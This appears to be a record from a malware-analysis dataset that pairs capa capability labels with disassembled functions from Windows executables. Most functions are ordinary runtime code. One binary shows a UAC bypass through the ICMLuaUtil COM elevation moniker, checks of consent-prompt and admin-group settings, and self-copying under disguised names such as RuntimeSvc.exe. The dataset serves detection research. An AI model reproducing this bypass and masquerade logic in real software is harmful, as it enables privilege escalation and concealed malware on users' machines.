joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416df0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
push edi
lea eax, [ebp - 0x48]
call fcn.00416ec9
test byte [0x65ddc8], 1
mov eax, dword [ebp + 0x40]
je 0x416e0f
mov eax, dword [ebp + 0x44]
mov dword [ebp - 0x48], eax
lea eax, [ebp + 0xc]
lea esi, [ebp - 0x20]
call fcn.0041058d
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
xor edi, edi
lea eax, [ebp + 0x48]
lea esi, [ebp - 0x44]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call fcn.0041058d
lea eax, [ebp + 0x1c]
lea esi, [ebp - 0x38]
call fcn.0041058d
lea eax, [ebp + 0x28]
lea esi, [ebp - 0x2c]
call fcn.0041058d
mov esi, 0x3e8
jmp 0x416e5d
push esi
call dword [0x65de10]
cmp dword [0x65ddc8], 2
jae 0x416e56
inc dword [0x65ddc8]
cmp dword [0x65ddc0], edi
je 0x416e82
mov ecx, dword [ebp + 0x18]
push ebx
push dword [ebp + 0xc]
call fcn.0041cc21
pop ecx
pop ecx
push edi
push edi
lea eax, [ebp - 0x48]
push eax
push 0x416d1f
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [ebp + 8]
push 0x4366c3
call fcn.004104e7
lea esi, [ebp - 0x48]
call fcn.00416ef0
lea esi, [ebp + 0x1c]
call fcn.00401cde
mov eax, dword [ebp + 0xc]
call fcn.00402920
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret
Function at 0x4184f3
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret

Function at 0x41a547
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov ebx, eax
mov dword [esi + 0x6af78], edi
cmp dword [esi + 0x6af70], edi
jne 0x41a575
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
push 0x1fffc
lea eax, [esi + 0x4af70]
push edi
push eax
mov dword [esi + 0x6af6c], edi
call fcn.00423b70
mov eax, ebx
movzx ecx, word [eax*8 + 0x436142]
mov dword [esi + 0x6af98], ecx
movzx ecx, word [eax*8 + 0x436140]
mov dword [esi + 0x6af9c], ecx
movzx ecx, word [eax*8 + 0x436144]
mov dword [esi + 0x6afa0], ecx
movzx eax, word [eax*8 + 0x436146]
add esp, 0xc
mov dword [esi + 0x6af94], eax
cmp ebx, 2
jg 0x41a5d8
mov eax, dword [ebp + 8]
or word [eax], 4
jmp 0x41a5e4
cmp ebx, 8
jl 0x41a5e4
mov eax, dword [ebp + 8]
or word [eax], 2
push 0x10000
lea ebx, [esi + 0x1af70]
push ebx
push esi
mov dword [esi + 0x6af84], edi
mov dword [esi + 0x6af74], edi
call dword [esi + 0xc]
add esp, 0xc
mov dword [esi + 0x6af90], eax
cmp eax, edi
je 0x41a649
cmp eax, 0xffffffff
je 0x41a649
mov dword [esi + 0x6af8c], edi
cmp eax, 0x106
jae 0x41a624
call fcn.0041a79f
mov dword [esi + 0x6af7c], edi
xor eax, eax
movzx ecx, byte [ebx + eax]
shl edi, 5
xor edi, ecx
and edi, 0x7fff
inc eax
mov dword [esi + 0x6af7c], edi
cmp eax, 2
jb 0x41a62c
jmp 0x41a659
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x41a8b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0x6af80], 2
cmp dword [esi + 0x6af90], ebx
je 0x41aaae
push edi
mov edi, 0x7fff
cmp dword [esi + 0x6af90], 3
jb 0x41a92a
mov ecx, dword [esi + 0x6af84]
movzx eax, byte [ecx + esi + 0x1af72]
mov edx, dword [esi + 0x6af7c]
shl edx, 5
xor eax, edx
and eax, edi
mov dword [esi + 0x6af7c], eax
mov eax, dword [esi + eax*4 + 0x4af70]
and ecx, edi
mov dword [esi + ecx*4 + 0x2af70], eax
mov ecx, dword [esi + 0x6af84]
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x6af7c]
mov dword [esi + eax*4 + 0x4af70], ecx
cmp dword [ebp - 4], 0
je 0x41a96d
mov eax, dword [esi + 0x6af84]
sub eax, dword [ebp - 4]
cmp eax, 0x7efa
ja 0x41a96d
mov ecx, dword [esi + 0x6af90]
cmp dword [esi + 0x6afa0], ecx
jbe 0x41a954
mov dword [esi + 0x6afa0], ecx
push dword [ebp - 4]
mov edx, esi
call fcn.0041a65e
mov ebx, eax
mov eax, dword [esi + 0x6af90]
pop ecx
cmp ebx, eax
jbe 0x41a96d
mov ebx, eax
cmp ebx, 3
jb 0x41aa2e
mov edx, dword [esi + 0x6af84]
sub edx, dword [esi + 0x6af88]
lea ecx, [ebx - 3]
mov eax, esi
call fcn.00419fe5
sub dword [esi + 0x6af90], ebx
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x6af90]
cmp ebx, dword [esi + 0x6af98]
ja 0x41a9fb
cmp eax, 3
jb 0x41a9fb
dec ebx
inc dword [esi + 0x6af84]
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [esi + edx + 0x1af72]
mov eax, dword [esi + 0x6af7c]
shl eax, 5
xor ecx, eax
and ecx, edi
mov dword [esi + 0x6af7c], ecx
mov ecx, dword [esi + ecx*4 + 0x4af70]
and edx, edi
dec ebx
mov dword [esi + edx*4 + 0x2af70], ecx
mov eax, dword [esi + 0x6af7c]
mov dword [ebp - 4], ecx
mov ecx, dword [esi + 0x6af84]
mov dword [esi + eax*4 + 0x4af70], ecx
jne 0x41a9a9
jmp 0x41aa4e
add dword [esi + 0x6af84], ebx
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [edx + esi + 0x1af70]
mov dword [esi + 0x6af7c], ecx
movzx edx, byte [edx + esi + 0x1af71]
shl ecx, 5
xor edx, ecx
xor ebx, ebx
and edx, edi
mov dword [esi + 0x6af7c], edx
jmp 0x41aa54
mov eax, dword [esi + 0x6af84]
movzx ecx, byte [eax + esi + 0x1af70]
xor edx, edx
mov eax, esi
call fcn.00419fe5
dec dword [esi + 0x6af90]
mov dword [ebp - 8], eax
inc dword [esi + 0x6af84]
cmp dword [ebp - 8], 0
je 0x41aa8f
mov ecx, dword [esi + 0x6af74]
test ecx, ecx
js 0x41aa6d
lea edx, [ecx + esi + 0x1af70]
jmp 0x41aa6f
xor edx, edx
mov eax, dword [esi + 0x6af84]
push 0
sub eax, ecx
push edx
mov ecx, esi
call fcn.00419e68
mov eax, dword [esi + 0x6af84]
pop ecx
pop ecx
mov dword [esi + 0x6af74], eax
cmp dword [esi + 0x6af90], 0x106
jae 0x41aaa0
call fcn.0041a79f
cmp dword [esi + 0x6af90], 0
jne 0x41a8da
pop edi
mov ecx, dword [esi + 0x6af74]
test ecx, ecx
js 0x41aac1
lea edx, [ecx + esi + 0x1af70]
jmp 0x41aac3
xor edx, edx
mov eax, dword [esi + 0x6af84]
push 1
sub eax, ecx
push edx
mov ecx, esi
call fcn.00419e68
pop ecx
pop ecx
pop esi
pop ebx
leave
ret
Function at 0x41b66b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x41b676
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x41b72a
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 2]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 3]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 4]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 5]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 6]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 7]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
add ecx, 8
sub edi, 8
dec esi
jne 0x41b68d
pop ebx
test edi, edi
je 0x41b743
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x436190]
inc ecx
dec edi
jne 0x41b72e
pop esi
not eax
pop edi
ret

Function at 0x41b748
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x436190]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x436190]
pop esi
mov dword [ecx + 8], eax
ret
Function at 0x41bcd9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
cmp byte [esi + 0x2d], 0
push edi
je 0x41bd5f
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x41bd13
cmp dword [esi + 0x40], ebx
jae 0x41bd13
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp - 4]
mov ecx, 4
xor eax, eax
rep stosb byte es:[edi], al
and dword [esi + 0x3c], 0
xor edi, edi
cmp dword [esi + 0x3c], edi
jne 0x41bd2b
lea eax, [ebx + ebx]
push eax
call dword [sym.imp.msvcrt.dll_malloc]
pop ecx
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], ebx
push ebx
push dword [ebp + 8]
push dword [esi + 0x3c]
call fcn.00426fb0
add esp, 0xc
test ebx, ebx
je 0x41bd5c
mov eax, dword [esi + 0x3c]
movzx eax, byte [edi + eax]
push eax
lea eax, [esi + 0x30]
push eax
call fcn.0041b7a6
pop ecx
pop ecx
mov ecx, dword [esi + 0x3c]
mov byte [edi + ecx], al
inc edi
cmp edi, ebx
jb 0x41bd3e
mov edx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x41bd8e
mov eax, dword [esi + 0x24]
lea edi, [eax + ebx]
cmp edi, dword [esi + 0x28]
jb 0x41bd7a
mov dword [esi + 0x14], 0x30000
jmp 0x41bdb0
push ebx
push edx
add eax, ecx
push eax
call fcn.00426fb0
add esp, 0xc
add dword [esi + 0x24], ebx
mov eax, ebx
jmp 0x41bdb2
mov eax, dword [esi + 4]
test eax, eax
je 0x41bda9
push 0
lea ecx, [ebp + 8]
push ecx
push ebx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp + 8]
jmp 0x41bdb2
mov dword [esi + 0x14], 0x1000000
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x41c1c5
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [esi + 0x84]
push edi
test ecx, ecx
je 0x41c216
mov eax, dword [esi + 0x8c]
mov edi, dword [esi + 0x88]
cmp eax, edi
jae 0x41c23e
sub edi, eax
cmp edi, dword [ebp + 8]
jbe 0x41c1ed
mov edi, dword [ebp + 8]
push edi
add eax, ecx
push eax
push ebx
call fcn.00426fb0
add esp, 0xc
add dword [esi + 0x8c], edi
mov eax, dword [esi + 0x78]
add dword [esi + 0x74], edi
mov edx, edi
mov ecx, ebx
call fcn.0041b66b
mov dword [esi + 0x78], eax
mov eax, edi
jmp 0x41c240
mov eax, dword [esi + 0x7c]
test eax, eax
je 0x41c237
push 0
lea ecx, [ebp + 8]
push ecx
push dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41c23e
mov edi, dword [ebp + 8]
jmp 0x41c200
mov dword [esi + 0x14], 0x1000000
xor eax, eax
pop edi
pop ebp
ret 4

Function at 0x41cf6e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43d078]
jne 0x41cf78
repz ret
jmp fcn.0041d2eb
Function at 0x42578e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004246c7
and dword [ebp - 0x14], 0
cmp dword [0x45d68c], 0
mov dword [ebp - 0x18], eax
jne 0x425841
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4258e9
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4258e9
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x45d68c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x45d690], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x45d694], eax
call edi
push eax
call esi
mov dword [0x45d69c], eax
test eax, eax
je 0x425841
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x45d698], eax
mov eax, dword [0x45d698]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x42589a
cmp dword [0x45d69c], ecx
je 0x42589a
push eax
call esi
push dword [0x45d69c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x42589a
test ebx, ebx
je 0x42589a
call edi
test eax, eax
je 0x425891
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x425891
test byte [ebp - 8], 1
jne 0x42589a
or dword [ebp + 0x10], 0x200000
jmp 0x4258cd
mov eax, dword [0x45d690]
cmp eax, dword [ebp - 0x18]
je 0x4258cd
push eax
call esi
test eax, eax
je 0x4258cd
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4258cd
mov eax, dword [0x45d694]
cmp eax, dword [ebp - 0x18]
je 0x4258cd
push eax
call esi
test eax, eax
je 0x4258cd
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x45d68c]
call esi
test eax, eax
je 0x4258e9
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4258eb
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cf6e
leave
ret
Function at 0x10001060
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
mov eax, dword [0x1000f020]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push ebx
push esi
push edi
mov dword [ebp - 0x434], eax
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x438]
xor esi, esi
push eax
push str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
mov edi, ecx
mov dword [ebp - 0x438], esi
mov dword [ebp - 0x428], esi
mov dword [ebp - 0x460], esi
call dword [sym.imp.ole32.dll_CLSIDFromString]
lea ecx, [ebp - 0x428]
push ecx
push str.6EDD6D74_C007_4E75_B76A_E5740995E24C
call dword [sym.imp.ole32.dll_IIDFromString]
push 0x206
lea eax, [ebp - 0x416]
xor edx, edx
push esi
push eax
mov word [ebp - 0x418], dx
call fcn.10004740
push 0x206
lea edx, [ebp - 0x20e]
xor ecx, ecx
push esi
push edx
mov word [ebp - 0x210], cx
call fcn.10004740
add esp, 0x18
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x104
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.ole32.dll_StringFromGUID2]
lea edx, [ebp - 0x418]
push edx
push 0x1000d17c
mov ecx, 0x104
lea ebx, [ebp - 0x210]
call section..text
add esp, 8
cmp eax, esi
jl 0x100011e8
xor eax, eax
mov dword [ebp - 0x45c], eax
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0x444], eax
mov dword [ebp - 0x440], eax
lea eax, [ebp - 0x460]
push eax
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x45c]
push edx
mov eax, ebx
push eax
mov dword [ebp - 0x45c], 0x24
mov dword [ebp - 0x43c], esi
mov dword [ebp - 0x448], 4
call dword [sym.imp.ole32.dll_CoGetObject]
cmp eax, esi
jl 0x100011e8
mov eax, dword [ebp - 0x460]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x24]
push esi
push esi
push esi
push str._register_abc
push edi
push eax
call edx
lea edi, [esi + 1]
test eax, eax
jns 0x100011ea
mov edi, esi
mov eax, dword [ebp - 0x460]
cmp eax, esi
je 0x100011fc
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002641
mov esp, ebp
pop ebp
ret
Function at 0x10001380
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1000f020]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
push eax
xor ebx, ebx
push ebx
push 8
mov dword [ebp - 0xc], ebx
mov word [ebp - 8], 0x500
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x100013f2
call esi
cmp eax, 0x3f0
jne 0x100013dc
lea ecx, [ebp - 0x10]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x100013f2
xor eax, eax
lea esp, [ebp - 0x28]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002641
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea edx, [ebp - 0x14]
push edx
push ebx
push ebx
push 2
push eax
call edi
test eax, eax
jne 0x100013dc
call esi
cmp eax, 0x7a
jne 0x100013dc
mov eax, dword [ebp - 0x14]
add eax, 8
cmp eax, 0x400
ja 0x10001434
call fcn.10009730
mov esi, esp
cmp esi, ebx
je 0x100013dc
mov dword [esi], 0xcccc
add esi, 8
jmp 0x1000144c
push eax
call fcn.10002650
add esp, 4
cmp eax, ebx
je 0x1000144a
mov dword [eax], 0xdddd
add eax, 8
mov esi, eax
cmp esi, ebx
je 0x100013dc
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x14]
push ecx
push edx
push esi
push 2
push eax
call edi
test eax, eax
je 0x100013dc
lea ecx, [ebp - 0x18]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x100013dc
xor edi, edi
mov dword [ebp - 0x1c], ebx
cmp dword [esi], ebx
jbe 0x100014c9
lea ebx, [esi + 4]
lea ebx, [ebx]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebx]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x100014bb
inc edi
add ebx, 8
cmp edi, dword [esi]
jb 0x100014a0
jmp 0x100014c9
test byte [esi + edi*8 + 8], 4
je 0x100014c9
mov dword [ebp - 0x1c], 1
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x28]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002641
mov esp, ebp
pop ebp
ret

Function at 0x100015a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x1000f020]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.10004740
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov edx, dword [0x10010b34]
push edx
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.10002bf7
lea ecx, [ebp - 0x10c]
push ecx
lea eax, [ebp - 0x108]
mov dword [ebp - 0x10c], 0x10001500
call fcn.10001b70
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.10002641
mov esp, ebp
pop ebp
ret
Function at 0x10001630
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
mov eax, dword [0x1000f020]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x246]
push ecx
mov word [ebp - 0x248], ax
call fcn.10004740
add esp, 0xc
push 0x104
lea edx, [ebp - 0x248]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x10001798
xor eax, eax
push 0x3a
push eax
lea ecx, [ebp - 0x3e]
push ecx
mov word [ebp - 0x40], ax
call fcn.10004740
lea edx, [ebp - 0x248]
push str.RuntimeSvc.exe
push edx
call fcn.10002907
add esp, 0x14
test eax, eax
jne 0x100016b4
push str.RuntimeSvc.exe
push 0x1e
lea eax, [ebp - 0x40]
push eax
jmp 0x100016db
lea ecx, [ebp - 0x248]
push str.PerfWatson.exe
push ecx
call fcn.10002907
add esp, 8
test eax, eax
jne 0x10001798
push str.PerfWatson.exe
push 0x1e
lea edx, [ebp - 0x40]
push edx
call fcn.10002c64
add esp, 0xc
push esi
lea eax, [ebp - 0x248]
push 0x5c
push eax
call fcn.100028d9
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x44e]
push edx
mov esi, eax
mov word [ebp - 0x450], cx
call fcn.10004740
lea eax, [ebp - 0x248]
sub esi, eax
sar esi, 1
push esi
mov ecx, eax
push ecx
lea edx, [ebp - 0x450]
push 0x104
push edx
call fcn.100027d2
push 0x1000d38c
lea eax, [ebp - 0x450]
push 0x104
push eax
call fcn.10002b82
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x450]
push 0x104
push edx
call fcn.10002b82
add esp, 0x3c
push 0
lea eax, [ebp - 0x450]
push eax
lea ecx, [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea edx, [ebp - 0x450]
push edx
push 0x104
push edi
call fcn.10002c64
add esp, 0xc
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002641
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
call fcn.10002641
mov esp, ebp
pop ebp
ret

Function at 0x100017b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001812
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push str.ConsentPromptBehaviorAdmin
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10001818
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], 2
sete al
mov esp, ebp
pop ebp
ret
Function at 0x10001830
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x1000f020]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
push edi
call fcn.100017b0
test al, al
jne 0x100018bb
call fcn.10001380
test eax, eax
jne 0x100018bb
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x1388
lea ebx, [ebx]
lea edi, [esp + 0x10]
sub esi, 0x3e8
call fcn.10001630
test al, al
je 0x10001897
call fcn.10001210
test eax, eax
je 0x10001897
mov ecx, edi
call fcn.10001060
test eax, eax
jne 0x100018b3
push esi
call ebx
test esi, esi
jne 0x10001870
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.10002641
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10010ae8
push 0
push 0
push 0x10001dd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10010b20], eax
call fcn.100015a0
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10002641
mov esp, ebp
pop ebp
ret

Function at 0x10001980
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, 0x10010b3a
sub edi, ecx
mov dword [ebp - 4], edi
mov edi, 0x10010b3e
sub edi, ecx
mov dword [ebp - 8], edi
mov edi, dword [0x1000fe0c]
mov esi, 2
mov edx, 0x10010b38
lea eax, [ecx + 2]
lea ebx, [esi - 2]
and ebx, 7
lea ecx, [esi - 2]
xor ecx, dword [ebx*4 + 0x1000d308]
add edx, 0xc
xor ecx, dword [edx - 0xc]
add eax, 0xc
xor ecx, edi
mov ebx, ecx
shr ebx, 0x18
mov byte [eax - 0xe], bl
mov ebx, ecx
shr ebx, 0x10
mov byte [eax - 0xd], bl
mov ebx, ecx
shr ebx, 8
mov byte [eax - 0xc], bl
mov ebx, dword [ebp - 4]
mov byte [eax - 0xb], cl
lea ecx, [esi - 1]
and ecx, 7
mov ecx, dword [ecx*4 + 0x1000d308]
xor ecx, dword [ebx + eax - 0xc]
lea ebx, [esi - 1]
xor ecx, ebx
xor ecx, edi
mov ebx, ecx
shr ebx, 0x18
mov byte [eax - 0xa], bl
mov ebx, ecx
shr ebx, 0x10
mov byte [eax - 9], bl
mov ebx, ecx
mov byte [eax - 7], cl
shr ebx, 8
mov byte [eax - 8], bl
mov ebx, dword [ebp - 8]
mov ecx, esi
and ecx, 7
mov ecx, dword [ecx*4 + 0x1000d308]
xor ecx, dword [ebx + eax - 0xc]
xor ecx, esi
xor ecx, edi
mov ebx, ecx
shr ebx, 0x18
mov byte [eax - 6], bl
mov ebx, ecx
shr ebx, 0x10
mov byte [eax - 5], bl
mov ebx, ecx
shr ebx, 8
add esi, 3
mov byte [eax - 3], cl
mov byte [eax - 4], bl
lea ecx, [esi - 2]
cmp ecx, 0x147
jb 0x100019b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret